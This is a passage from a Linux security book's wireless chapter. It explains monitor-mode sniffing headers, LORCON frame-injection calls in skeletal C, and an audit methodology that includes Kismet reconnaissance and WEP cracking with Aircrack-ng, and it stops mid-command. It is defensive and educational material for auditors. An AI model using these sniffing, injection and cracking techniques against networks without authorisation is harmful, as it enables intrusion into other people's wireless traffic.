The next important thing to understand when it comes to sniffing a wireless interface is that the wireless interface needs to be placed in RFMON mode for it to sniff wireless traffic, be it data, management, or control frames. Prepended to each of the wireless frames, collected via the wireless driver, is a special header that reports information about signal level, noise level, frequency, and rate, at the point where the frame is received by the WNIC. Different headers are prepended depending on the wireless driver/ firmware combination in use, as well as the settings on those drivers/firmware in some cases. Identifying the type of header information that has been prepended is very important because the sniffer being coded needs to know the structure of packet headers captured and how to process them accordingly thereafter. Generally three types of headers are prepended: the Radiotap header, the WLAN-ng PRISM header, and the WLAN-ng PRISM AVS header. To be able to differentiate programmatically among these headers being prepended to each wireless packet, you can use the pcap_datalink function call, which is summarized next: #define DLT_PRISM_HEADER 119 #define DLT_IEEE802_11_RADIO_AVS 163 #define DLT_IEEE802_11_RADIO 127 // Identify PRISM Header if (pcap_datalink (pcap_handl) == DLT_ PRISM_HEADER) { ..process PRISM header code here } // Identify AVS Header if (pcap_datalink (pcap_handl) == DLT_IEEE802_11_RADIO_AVS) { ..process PRISM AVS header code here } // Identify Radio Tap Header if (pcap_datalink (pcap_handl) == DLT_IEEE802_11_RADIO) { ..process Radio Tap header code here }
Since the structure definitions of the various headers are different, the codes used to process these headers also have to vary. The data structures defined for the three headers are documented here for inclusion when coding a wireless application: PRISM Header struct wlan_ng_prism2_header { uint32_t msgcode __attribute__ ((packed)); uint32_t msglen __attribute__ ((packed)); uint8_t devname[WLAN_DEVNAMELEN_MAX] __attribute__ ((packed));
257
258
Hacking Exposed Linux: Linux Security Secrets & Solutions
The structure of the Radiotap capture header differs from the other two headers in that it is a variable length header with the field it_present. This indicates, by its bitmap setting, which field is present and which field is not. After the capture header has been taken care of, the sniffer code will then have to process the rest of the wireless frame as a wireless frame with its structure. In this code, the frame received (after taking away the capture header) is being cast to a management header structure: #define #define #define #define
T_MGMT ST_AUTH FC_TYPE(fc) FC_SUBTYPE(fc)
0x0 0xB (((fc) >\> 2) & 0x3) (((fc) >\> 4) & 0xF)
struct mgmt_header_t { u_int16_t fc; u_int16_t duration; u_int8_t da[6]; u_int8_t sa[6]; u_int8_t bssid[6]; u_int16_t seq_ctrl; }; // Get the management header out of the packet mgmt_header = (struct mgmt_header_t *) packet; if ( FC_TYPE(mgmt_header->fc) == T_MGMT ) { .. code to process management wireless frame } if ( FC_SUBTYPE(mgmt_header->fc) == ST_AUTH ) { .. code to process authentication request frame }
LORCON LORCON is an acronym for Loss of Radio Connectivity. It is a set of libraries written by Joshua Wright and Dragorn. These libraries make a programmer’s job much simpler when it comes to writing a packet injection tool as they eliminate the complexities and intricacies of having to deal with multiple wireless chipsets and having to write code for every single WNIC you want to support in your application, since each WNIC’s code is written and functions differently. LORCON can be downloaded from http://802.11ninja.net/code/LORCON-current.tgz. After installing LORCON, if you want to code an application that makes use of the LORCON libraries, you need to compile it using an additional library flag of –lorcon.
259
260
Hacking Exposed Linux: Linux Security Secrets & Solutions
LORCON exposes a series of function calls that any application that compiles the LORCON library into its code can use. By making use of the LORCON library, the application developer does not have to write driver-specific codes to take care of the differences in making different drivers/chipsets inject packets. The code structure/ format presented here illustrates the capability of the library, from showing how an interface can be established up to how a wireless frame can be transmitted: #include #include /* Initialize the interface */ if (tx80211_init(&in_tx, iface, drivertype) < 0) { .. code to handle error } /* Set monitor mode */ if (tx80211_setmode(&in_tx, IW_MODE_MONITOR) < 0) { .. code to handle error } /* Switch to the given channel */ if (tx80211_setchannel(&in_tx, channel) < 0) { .. code to handle error } /* Open the interface to get a socket */ if (tx80211_open(&in_tx) < 0) { .. code to handle error } /* Send the packet if (tx80211_txpacket(&in_tx, &in_packet) < 0) { .. code to handle error }
Included with this book is Probemapper, a GPL’ed wireless-client-detection and wireless-profile-identification program that makes use of the LORCON libraries. Probemapper is also available from http://securitystartshere.org/page-downloads.htm (which also houses a copy of the LORCON libraries that work with Probemapper).
Defending Against Auditing/Hacking Platform Assembly Bottom line: from a technical perspective, you can’t stop someone from putting together a toolkit for auditing or hacking purposes any more than you can stop someone from producing a table fork. Preventing tools like wireless sniffers from being created, auditing platforms from being assembled, and code from being written is impossible. To stop the hands that put together hacking platforms, you’d have to be physically present to prevent
Chapter 8:
Wireless Networks
the person from carrying out the physical action of constructing the tool or typing on the keyboard or whatever assembly activity he or she does. The most obvious way moral guardians could prevent the development, compilation, and assembly of tools is by implementing laws against producing or compiling platforms. However, even with such laws in place, they can’t practically prevent someone from producing or compiling these platforms. Enforcement is an entirely different matter, especially when cross-border cases are concerned. In most jurisdictions at the time of writing, the creation, compilation, or assembly of a platform is not in itself illegal (nor should it be ruled illegal!), though some countries like Germany are trying to legislate it as being illegal. What really matters is the purpose of the platform or toolkit being created. To use our example, anyone can use a table fork to eat or to poke someone in the eye. So does that mean we have to outlaw or ban table forks? The reason that an auditing/ hacking platform or tool compilation can be used for potentially evil purposes as a rationale for stopping or denying the distribution of said platforms or tools is absurd because it penalizes the security professionals who use these very same tools and platforms to conduct legitimate security auditing against their organization’s networks and servers so they can find weaknesses before the attackers do. Attackers are not bound by laws, and they will continue with their activities irrespective of what laws are passed. Legislation that bans the development and use of auditing/hacking platforms and toolkits leaves the good guys, who use those same tools legitimately, with only knives to bring to a gunfight.
Wireless Infrastructure Auditing Popularity:
8
Simplicity:
6
Impact:
9
Risk Rating:
8
There are various technical activities a hacker undertakes that a wireless auditor mirrors when conducting a technical audit of a wireless network. When auditing a wireless network, these activities need to be undertaken in order to determine the network’s vulnerability. These activities are classified as follows: • RF spectrum analysis • Wireless infrastructure device identification • Cracking encryption • Layer 3 connectivity testing • RF propagation boundaries • DoS/hijacking
261
262
Hacking Exposed Linux: Linux Security Secrets & Solutions
RF Spectrum Analysis We discussed the importance of and rationale for RF spectrum analysis earlier in this chapter. From an auditor’s/hacker’s point of view, understanding the RF pattern and plot will help you identify if any devices are operating surreptitiously outside normal ranges. For example, a U.S.-based organization operates three APs across Channels 1, 6, and 11, and then all of a sudden, you see a slew of RF energy on Channel 13 or 14. Apart from the fact that this activity is in violation of FCC rules if it is coming from the organization’s AP, it could also represent a knowledgeable person operating a rogue AP on a channel that would not be accessible or identifiable by someone operating a WNIC that only has a Channel 1–11-capable radio. If activity on a particular RF frequency is detected, the auditor needs to ensure that the wireless networking equipment used for auditing purposes is capable of receiving and transmitting at that frequency before heading to the next phase.
Wireless Infrastructure Device Identification In this phase, the auditor will start doing device and protocol analysis by looking at layer 2 information using various tools. Kismet is commonly used for performing device identification. As described earlier in this chapter, Kismet is an 802.11 layer-2 wireless network detector and sniffer, with some intrusion detection capabilities. It will work with any WNIC that supports raw RF monitoring (RFMON) mode. As the WNIC goes, so goes Kismet—it can sniff 802.11b, 802.11a, and 802.11g traffic depending on the WNIC’s radio capability. Figure 8-21 shows Kismet in action. Kismet’s operation is primarily controlled via its configuration file, Kismet.conf. The most important configuration setting in that file is the one specifying the capture source to Kismet. A capture source in Kismet is a network interface that provides wireless frames to the Kismet sniffing engine. It tells Kismet what specific type of WNIC to use because different drivers often use different methods to report information and enter monitor mode. The various WNIC/driver combinations supported and their associated capture source entries can be found inside Kismet’s README file in the “Capture Sources” section. Kismet allows the auditor not only to identify the SSID (referred to in Kismet documentation and GUI as the ESSID) of the various APs that are detected, but also to obtain a whole list of information relating to each AP detected, e.g., BSSID, the channel the AP is transmitting on, signal strength, encryption scheme used, IP range identification, supported rates, and wireless clients connected. With this information, the auditor can now identify the lists of APs that belong to the organization via their ESSID, BSSID, encryption scheme used, and sometimes their signal strength information. However, auditors should not rely purely on the information provided by Kismet’s interface, just as they should not for any other tool. They should learn to read the packet dumps created by Kismet and determine the accuracy of Kismet’s output by cross-checking the info in the Kismet display with the actual frames captured and written to file. Other than Kismet, Airodump-ng (part of the Aircrack-ng suite of tools at http://www .aircrack-ng.org/doku.php) can also be used to cross-verify that the key information as
Chapter 8:
Wireless Networks
Figure 8-21 Kismet’s GUI
identified by Kismet is indeed accurate and reliable. This is an example of using one tool to validate the observations obtained by another.
Cracking Encryption In this phase of the audit, armed with the lists of APs and their respective encryption schema, the auditor attempts to crack the encryption scheme used by the target organization on a per-AP basis. Wired Equivalent Privacy (WEP) was the first encryption standard implemented when the 802.11b wireless standard was first introduced. Until recently many APs only supported WEP for purposes of doing link encryption. Even for those that can support improved frame-level encryption schema, WEP is still widely used. Weaknesses in the WEP encryption implementation have been widely documented, with the definitive explanation being from a paper written by Fluhrer, Mantin, and Shamir in 2001 entitled “Weaknesses in the Key Scheduling Algorithm of RC4.” The first generation of WEP-cracking tools like Airsnort or even Dwepcrack relied solely on the number of frames that were captured that contained data encrypted with weak (termed interesting) initialization vectors (IVs). Thus, the auditor typically had to spend a long time collecting wireless packets (approximately 10 million encrypted data packets) before these first-generation cracking tools could discover the WEP key in use.
263
264
Hacking Exposed Linux: Linux Security Secrets & Solutions
Sometime in 2004, a new WEP statistical cryptanalysis attack method was introduced that vastly reduced the number of frames needed to crack the WEP key. Aircrack-ng is an example of this type of second-generation tool, which uses the new technique together with an improved Fluhrer-Mantin-Shamir technique to make cracking much faster. Using Aircrack-ng, you no longer have to capture millions of frames, only just hundreds of thousands with unique IVs. Included in the Aircrack-ng suite, Airodump-ng is a sniffing tool that was built to work in conjunction with Aircrack-ng. The output of Airodump-ng can be fed into Aircrack-ng, which can perform a simultaneous crack attempt as Airodump-ng is still capturing frames. The following output shows a running instance of Airodump-ng: usage: airodump-ng
